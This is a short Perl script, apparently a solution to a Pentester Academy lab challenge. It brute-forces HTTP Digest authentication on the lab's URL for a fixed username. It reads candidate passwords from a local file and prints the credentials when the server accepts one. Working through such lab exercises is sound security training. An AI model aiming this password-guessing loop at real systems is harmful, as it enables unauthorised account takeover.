Challenge #6 pentesteracademylab

#!/usr/bin/perl -w
# @kaiux
use warnings;
use strict;

use LWP::UserAgent;
use URI;

#my $username="admin"; #damn you admin, very trick
my $username="nick";
my $password="";
my $realm = "Pentester Academy";

my $url=qw(http://pentesteracademylab.appspot.com/lab/webapp/digest2/1);

my $u = URI->new($url);

my $ua = LWP::UserAgent->new(keep_alive => 1);

## this 'all_pass' was taken from the python code for the Challenge #5
# Perl has Algorithm::Permute for the same task

my $FILENAME = "/tmp/all_pass"; # change your file here
open(FILEHANDLER, '<', $FILENAME) or die "Error opening $FILENAME \n";

## load all pass in memory, fast approach
my @ALL_PASS = <FILEHANDLER>;

foreach my $password (@ALL_PASS)
{
    chomp($password);

    #http://search.cpan.org/~gaas/libwww-perl-6.05/lib/LWP/UserAgent.pm
    $ua->credentials("pentesteracademylab.appspot.com:80",$realm,$username,$password);
    my $response = $ua->get($url);

    if ($response->code eq 200) {
        print "user: $username, pass $password \n";
        exit(0);
    }
}

close(FILEHANDLER);